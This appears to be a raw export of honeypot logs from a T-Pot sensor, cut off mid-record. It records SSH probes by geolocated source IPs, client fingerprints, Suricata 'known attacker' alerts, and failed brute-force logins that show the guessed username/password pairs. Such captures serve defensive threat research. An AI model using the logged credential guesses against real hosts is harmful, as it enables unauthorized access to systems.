26936	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:21.952767+03	2021-09-20 14:15:13.919645+03	{"_id": "iwbpAnwBvYTbRNuEFyRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cc707ee1aa9b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:21.952767Z", "@timestamp": "2021-09-20T11:13:21.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26937	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:22.414926+03	2021-09-20 14:15:13.920645+03	{"_id": "jAbpAnwBvYTbRNuEFyRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "da4d06f9f572", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:22.414926Z", "@timestamp": "2021-09-20T11:13:22.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26938	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:22.463125+03	2021-09-20 14:15:13.921646+03	{"_id": "nAbpAnwBvYTbRNuEGSRR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1934143710676116, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47844, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.463125Z", "@timestamp": "2021-09-20T11:13:22.463Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26939	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:13:22.659355+03	2021-09-20 14:15:13.922646+03	{"_id": "ngbpAnwBvYTbRNuEGiR_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59952, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.659355", "@timestamp": "2021-09-20T11:13:22.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26940	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:13:24.139503+03	2021-09-20 14:15:13.924647+03	{"_id": "rAbpAnwBvYTbRNuEHSQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:13:23.553418+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 613866469028298, "payload": "AAADzAYUSzc8lqInypb5zri97uIAvwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35422, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:13:24.139503Z", "@timestamp": "2021-09-20T11:13:24.139Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......K7<..'.............(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
26941	36.27.214.211	109.199.241.180	Fatt	2021-09-20 14:13:24.139503+03	2021-09-20 14:15:13.925647+03	{"_id": "rQbpAnwBvYTbRNuEHiRo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35422, "dest_port": 22, "timestamp": "2021-09-20T11:13:24.139503", "@timestamp": "2021-09-20T11:13:24.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26942	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:13:23.844922+03	2021-09-20 14:15:13.927646+03	{"_id": "rwbpAnwBvYTbRNuEHyQb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:35422 (192.168.176.2:22) [session: 83829f2c10f7]", "session": "83829f2c10f7", "@version": "1", "protocol": "ssh", "src_port": 35422, "dest_port": 22, "timestamp": "2021-09-20T11:13:23.844922Z", "@timestamp": "2021-09-20T11:13:23.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26943	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:24.019461+03	2021-09-20 14:15:13.928644+03	{"_id": "sgbpAnwBvYTbRNuEHyQb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [cliente/cliente] failed", "session": "5f3a09c65d31", "@version": "1", "password": "cliente", "username": "cliente", "timestamp": "2021-09-20T11:13:24.019461Z", "@timestamp": "2021-09-20T11:13:24.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26944	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:24.503715+03	2021-09-20 14:15:13.929645+03	{"_id": "swbpAnwBvYTbRNuEHyQb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/123123] failed", "session": "9ac8ae280a7a", "@version": "1", "password": "123123", "username": "root", "timestamp": "2021-09-20T11:13:24.503715Z", "@timestamp": "2021-09-20T11:13:24.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26945	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:25.433361+03	2021-09-20 14:15:13.930646+03	{"_id": "tQbpAnwBvYTbRNuEIyQE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5f3a09c65d31", "@version": "1", "duration": 2.9034242630004883, "timestamp": "2021-09-20T11:13:25.433361Z", "@timestamp": "2021-09-20T11:13:25.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26946	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:13:26.123095+03	2021-09-20 14:15:13.932647+03	{"_id": "uAbpAnwBvYTbRNuEJSQM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:13:26.051790+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1733104881814094, "payload": "AAADzAYUvvAdYy2NEhmX2BLg/dTipAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38516, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:13:26.123095Z", "@timestamp": "2021-09-20T11:13:26.123Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........c-..............(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
26947	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:13:26.123095+03	2021-09-20 14:15:13.933645+03	{"_id": "ugbpAnwBvYTbRNuEJiQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 